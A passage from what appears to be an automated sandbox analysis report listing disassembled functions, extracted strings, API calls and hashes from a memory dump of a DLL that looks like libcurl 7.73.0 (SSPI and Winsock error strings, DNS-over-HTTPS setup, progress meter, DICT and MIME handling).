                                                                                                                                      • SEC_E_CONTEXT_EXPIRED, xrefs: 6BDB9B54
                                                                                                                                      • SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 6BDB9D20
                                                                                                                                      • SEC_E_UNSUPPORTED_FUNCTION, xrefs: 6BDB9D84
                                                                                                                                      • SEC_E_ALGORITHM_MISMATCH, xrefs: 6BDB9AFA
                                                                                                                                      • SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 6BDB9BAE
                                                                                                                                      • %s (0x%08X), xrefs: 6BDB9DBD
                                                                                                                                      • CRYPT_E_REVOKED, xrefs: 6BDB9DB6
                                                                                                                                      • SEC_E_MUST_BE_KDC, xrefs: 6BDB9C62
                                                                                                                                      • SEC_E_WRONG_PRINCIPAL, xrefs: 6BDB9DAC
                                                                                                                                      • SEC_E_KDC_UNABLE_TO_REFER, xrefs: 6BDB9C26
                                                                                                                                      • SEC_E_NO_CREDENTIALS, xrefs: 6BDB9C80
                                                                                                                                      • SEC_E_BUFFER_TOO_SMALL, xrefs: 6BDB9B18
                                                                                                                                      • SEC_E_POLICY_NLTM_ONLY, xrefs: 6BDB9CE4
                                                                                                                                      • SEC_E_DECRYPT_FAILURE, xrefs: 6BDB9B72
                                                                                                                                      • SEC_E_KDC_CERT_REVOKED, xrefs: 6BDB9C12
                                                                                                                                      • SEC_E_INCOMPLETE_MESSAGE, xrefs: 6BDB9BB8
                                                                                                                                      • SEC_E_TARGET_UNKNOWN, xrefs: 6BDB9D52
                                                                                                                                      • SEC_E_BAD_BINDINGS, xrefs: 6BDB9B04
                                                                                                                                      • SEC_E_DELEGATION_POLICY, xrefs: 6BDB9B7C
                                                                                                                                      • SEC_E_CERT_UNKNOWN, xrefs: 6BDB9B40
                                                                                                                                      • SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 6BDB9C44
                                                                                                                                      • SEC_E_UNSUPPORTED_PREAUTH, xrefs: 6BDB9D8E
                                                                                                                                      • SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 6BDB9BF4
                                                                                                                                      • SEC_E_LOGON_DENIED, xrefs: 6BDB9C3A
                                                                                                                                      • No error, xrefs: 6BDB9E17
                                                                                                                                      • SEC_E_INSUFFICIENT_MEMORY, xrefs: 6BDB9BC2
                                                                                                                                      • SEC_I_LOCAL_LOGON, xrefs: 6BDB9E5A
                                                                                                                                      • SEC_E_SECPKG_NOT_FOUND, xrefs: 6BDB9D0C
                                                                                                                                      • SEC_E_NO_IMPERSONATION, xrefs: 6BDB9C8A
                                                                                                                                      • SEC_E_NO_KERB_KEY, xrefs: 6BDB9C9E
                                                                                                                                      • SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 6BDB9DA2
                                                                                                                                      • Unknown error, xrefs: 6BDB9E76
                                                                                                                                      • SEC_E_PKINIT_NAME_MISMATCH, xrefs: 6BDB9CDA
                                                                                                                                      • SEC_E_MESSAGE_ALTERED, xrefs: 6BDB9C4E
                                                                                                                                      • SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 6BDB9B68
                                                                                                                                      • SEC_E_UNTRUSTED_ROOT, xrefs: 6BDB9D98
                                                                                                                                      • SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 6BDB9D02
                                                                                                                                      • SEC_E_CANNOT_PACK, xrefs: 6BDB9B2C
                                                                                                                                      • SEC_E_QOP_NOT_SUPPORTED, xrefs: 6BDB9CEE
                                                                                                                                      • SEC_E_INVALID_HANDLE, xrefs: 6BDB9BD6
                                                                                                                                      • SEC_E_CANNOT_INSTALL, xrefs: 6BDB9B22
                                                                                                                                      • SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 6BDB9CB2
                                                                                                                                      • SEC_E_INTERNAL_ERROR, xrefs: 6BDB9BCC
                                                                                                                                      • SEC_E_INVALID_PARAMETER, xrefs: 6BDB9BE0
                                                                                                                                      • SEC_E_SECURITY_QOS_FAILED, xrefs: 6BDB9D16
                                                                                                                                      • SEC_I_CONTINUE_NEEDED, xrefs: 6BDB9DBC, 6BDB9E1E
                                                                                                                                      • SEC_E_INVALID_TOKEN, xrefs: 6BDB9BEA
                                                                                                                                      • SEC_E_DOWNGRADE_DETECTED, xrefs: 6BDB9B90
                                                                                                                                      • SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 6BDB9C30
                                                                                                                                      • SEC_E_NOT_OWNER, xrefs: 6BDB9C6C
                                                                                                                                      • SEC_I_CONTEXT_EXPIRED, xrefs: 6BDB9E4C
                                                                                                                                      • SEC_E_NO_PA_DATA, xrefs: 6BDB9CA8
                                                                                                                                      • SEC_E_CERT_WRONG_USAGE, xrefs: 6BDB9B4A
                                                                                                                                      • SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 6BDB9E53
                                                                                                                                      • SEC_I_NO_LSA_CONTEXT, xrefs: 6BDB9E61
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast
                                                                                                                                      • String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
                                                                                                                                      • API String ID: 1452528299-1081713384
                                                                                                                                      • Opcode ID: 5320d133887b04c1bfb774bbd56f8a1d18d03e488dc1e8e94605f02f7f9d9142
                                                                                                                                      • Instruction ID: 3eac19cbd5d6c8c5c5b68f35b21ab9ad6fb5d5a3fa0f289e85dd06f73b0ee9ef
                                                                                                                                      • Opcode Fuzzy Hash: 5320d133887b04c1bfb774bbd56f8a1d18d03e488dc1e8e94605f02f7f9d9142
                                                                                                                                      • Instruction Fuzzy Hash: B391D0E068E9C4D7C6308B6D8980555726E6B22BF870B4172F8878F36AE63DCD474763
                                                                                                                                      Function 6BDBA820 Relevance: 89.4, APIs: 1, Strings: 50, Instructions: 139COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _strncpy
                                                                                                                                      • String ID: Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
                                                                                                                                      • API String ID: 2961919466-3442644082
                                                                                                                                      • Opcode ID: 2655c31748e3438c469763385df04f7252d50a0cbe3aace826ad22e050856e2f
                                                                                                                                      • Instruction ID: b1f7a0330dd954be64cb4f962f756fb31157a0da4cd49cb5af8ce7566c1503e5
                                                                                                                                      • Opcode Fuzzy Hash: 2655c31748e3438c469763385df04f7252d50a0cbe3aace826ad22e050856e2f
                                                                                                                                      • Instruction Fuzzy Hash: DD4145A12CD1859B85340B5C5711953259AA752FF8B82C5B7B886CF348F83ECD43527E
                                                                                                                                      Function 6BDAE610 Relevance: 61.7, APIs: 33, Strings: 2, Instructions: 499COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BDAE683
                                                                                                                                      • curl_maprintf.LIBCURL(%s?dns=%s,00000000,?,?,?,?,?,?,00000000,?,?,?), ref: 6BDAE753
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002712,00000000,?,?,?,?,00000000,?,?,?), ref: 6BDAE806
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00004E2B,6BDAE5E0,?,?,?,?,?,?,?,00000000,?,?,?), ref: 6BDAE825
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002711,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BDAE849
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,0000271F,?), ref: 6BDAE86F
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,0000003C,?), ref: 6BDAE88C
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002727,?), ref: 6BDAE8A9
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000000B5,00000002), ref: 6BDAE8C5
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,0000009B,?), ref: 6BDAE8E2
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00000029,00000001), ref: 6BDAE903
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00000063,00000001), ref: 6BDAE925
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000000E9,00000001), ref: 6BDAE94A
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00000051,00000002), ref: 6BDAE96C
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000000F9,00000002), ref: 6BDAE991
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000000F8,00000001), ref: 6BDAE9B6
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002806,?), ref: 6BDAE9DB
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002814,?), ref: 6BDAEA00
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00000105,00000008), ref: 6BDAEA32
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002807,?), ref: 6BDAEA57
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00000040,00000001), ref: 6BDAEA79
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000000E8,00000001), ref: 6BDAEA9E
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002751,?), ref: 6BDAEAC3
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00002771,?), ref: 6BDAEAE8
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000027B9,?), ref: 6BDAEB0D
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000000AC,00000001), ref: 6BDAEB32
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,0000275C,?), ref: 6BDAEB57
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,0000275D,?), ref: 6BDAEB7C
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,000000D8,00000008), ref: 6BDAEBAE
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,00004E8C,?), ref: 6BDAEBD3
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,0000277D,?), ref: 6BDAEBF8
                                                                                                                                      • curl_easy_setopt.LIBCURL(00000000,0000283A,?), ref: 6BDAEC1D
                                                                                                                                      • curl_multi_add_handle.LIBCURL(?,00000000), ref: 6BDAEC4E
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_easy_setopt$___from_strstr_to_strchrcurl_maprintfcurl_multi_add_handle
                                                                                                                                      • String ID: %s?dns=%s$Failed to encode DOH packet [%d]
                                                                                                                                      • API String ID: 667061265-3030351490
                                                                                                                                      • Opcode ID: 923256dff17d8cf70f5e0cbfb7efccbff3a067969b8237764355e0ddca64f64d
                                                                                                                                      • Instruction ID: 63306fdc481044cfcc6d3a0769ea2827c54411f74f5d741f76eb8642e7b7fc44
                                                                                                                                      • Opcode Fuzzy Hash: 923256dff17d8cf70f5e0cbfb7efccbff3a067969b8237764355e0ddca64f64d
                                                                                                                                      • Instruction Fuzzy Hash: CAF10871E40261EBEB228B64CD42B8A77A5AB00774F1402A0EC547F291D7BEAE50E7D1
                                                                                                                                      Function 6BDAD000 Relevance: 47.5, APIs: 19, Strings: 8, Instructions: 204COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%5I64d,?,?,DD935E00,6BD91696,?,6BDAD8FE,0B2083C7,00000000,?), ref: 6BDAD02A
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD053
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%4I64dk,00000000,?,?,?,00000400,00000000,DD935E00,6BD91696,?,6BDAD8FE,0B2083C7,00000000,?), ref: 6BDAD065
                                                                                                                                      • __allrem.LIBCMT ref: 6BDAD08A
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD098
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD0A8
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%2I64d.%0I64dM,00000000,?,?,?,00100000,00000000,00000000,?,00000000,?,00019999,00000000,?), ref: 6BDAD0BA
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD0E0
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%4I64dM,00000000,?,?,?,00100000,00000000,DD935E00,6BD91696,?,6BDAD8FE,0B2083C7,00000000,?), ref: 6BDAD0F2
                                                                                                                                      • __allrem.LIBCMT ref: 6BDAD114
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD122
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD132
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%2I64d.%0I64dG,00000000,?,?,?,40000000,00000000,00000000,?,00000000,?,06666666,00000000,?), ref: 6BDAD144
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD169
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%4I64dG,00000000,?,?,?,40000000,00000000,DD935E00,6BD91696,?,6BDAD8FE,0B2083C7,00000000,?), ref: 6BDAD17B
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD1A0
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%4I64dT,00000000,?,?,?,00000000,00000100,DD935E00,6BD91696,?,6BDAD8FE,0B2083C7,00000000,?), ref: 6BDAD1B2
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD1C9
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000006,%4I64dP,00000000,?,?,?,00000000,00040000,DD935E00,6BD91696,?,6BDAD8FE,0B2083C7,00000000,?), ref: 6BDAD1DB
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_msnprintf$__allrem
                                                                                                                                      • String ID: %2I64d.%0I64dG$%2I64d.%0I64dM$%4I64dG$%4I64dM$%4I64dP$%4I64dT$%4I64dk$%5I64d
                                                                                                                                      • API String ID: 3299120379-2102732564
                                                                                                                                      • Opcode ID: 92aaf8f4a4dede047a8f02cf02a22ea0ec5d57147567d99d63145de0193c269b
                                                                                                                                      • Instruction ID: 7d0021eb77639ab2ccb24ae500dfa4f4917a06c8679cd057846cd73885e7451a
                                                                                                                                      • Opcode Fuzzy Hash: 92aaf8f4a4dede047a8f02cf02a22ea0ec5d57147567d99d63145de0193c269b
                                                                                                                                      • Instruction Fuzzy Hash: E54194A3BC066436E6205B54AC12FAF332D9BC1B78F110469FF08BF181D75D6A1642FA
                                                                                                                                      Function 6BD89190 Relevance: 35.3, APIs: 8, Strings: 12, Instructions: 277COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD89245
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD892AB
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD892BD
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD892D1
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD89364
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD89376
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8938A
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8939F
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchr
                                                                                                                                      • String ID: /D:$/DEFINE:$/FIND:$/LOOKUP:$/M:$/MATCH:$CLIENT libcurl 7.73.0%sQUIT$CLIENT libcurl 7.73.0DEFINE %s %sQUIT$CLIENT libcurl 7.73.0MATCH %s %s %sQUIT$Failed sending DICT request$default$lookup word is missing
                                                                                                                                      • API String ID: 601868998-3098048912
                                                                                                                                      • Opcode ID: 3f5a429dfacd643b5f9d2a923d72d6aef2b75e0d01a7a63e327cc9c19a64d0d7
                                                                                                                                      • Instruction ID: cf58755dc34b2c2652106d693be203ab6ab90138c7b5a6f90a8d86ea75d2f255
                                                                                                                                      • Opcode Fuzzy Hash: 3f5a429dfacd643b5f9d2a923d72d6aef2b75e0d01a7a63e327cc9c19a64d0d7
                                                                                                                                      • Instruction Fuzzy Hash: 2D714A72E00605B7D71207755C82B5E3BA88F9277BF1411A4FD896F283F72E9A0593B2
                                                                                                                                      Function 6BDA2B70 Relevance: 33.5, APIs: 2, Strings: 17, Instructions: 282COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_slist_free_all.LIBCURL(?,00000000,?,?,multipart/form-data), ref: 6BDA2B8F
                                                                                                                                      • curl_strequal.LIBCURL(?,attachment,?,?,?,multipart/form-data), ref: 6BDA2CCC
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_slist_free_allcurl_strequal
                                                                                                                                      • String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
                                                                                                                                      • API String ID: 3213019040-1595554923
                                                                                                                                      • Opcode ID: 02ed9b0bac546cd24f9c38caad43f073711b28ea31007038adb9e96e808f57e2
                                                                                                                                      • Instruction ID: aa11f66b35a3cf8ed686af356d923716e773dfec4d6f2256277fc1215894a819
                                                                                                                                      • Opcode Fuzzy Hash: 02ed9b0bac546cd24f9c38caad43f073711b28ea31007038adb9e96e808f57e2
                                                                                                                                      • Instruction Fuzzy Hash: 5E91E1B1A00B01DBEB118F6BDD81647B7F5AF8037CB00487DE84A9E611E73CEA459B61
                                                                                                                                      Function 6BDAD510 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 350COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD566
                                                                                                                                      • curl_mfprintf.LIBCURL(89000005,** Resuming transfer from byte position %I64d,00051C86,BF830000,83C70000,00000620,000F4240,00000000,868D0000,6BD91696,?), ref: 6BDAD59D
                                                                                                                                      • curl_mfprintf.LIBCURL(89000005, %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed,83C70000,00000620,000F4240,00000000,868D0000,6BD91696,?), ref: 6BDAD5B0
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD5FF
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD623
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD636
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD677
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD6D5
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD702
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD715
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD76F
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD891
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD8A1
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD8C7
                                                                                                                                      • curl_mfprintf.LIBCURL(89000005,%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s,?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000), ref: 6BDAD9A1
                                                                                                                                      Strings
                                                                                                                                      • %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed, xrefs: 6BDAD5A5
                                                                                                                                      • ** Resuming transfer from byte position %I64d, xrefs: 6BDAD592
                                                                                                                                      • %3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s, xrefs: 6BDAD996
                                                                                                                                      Memory Dump Source
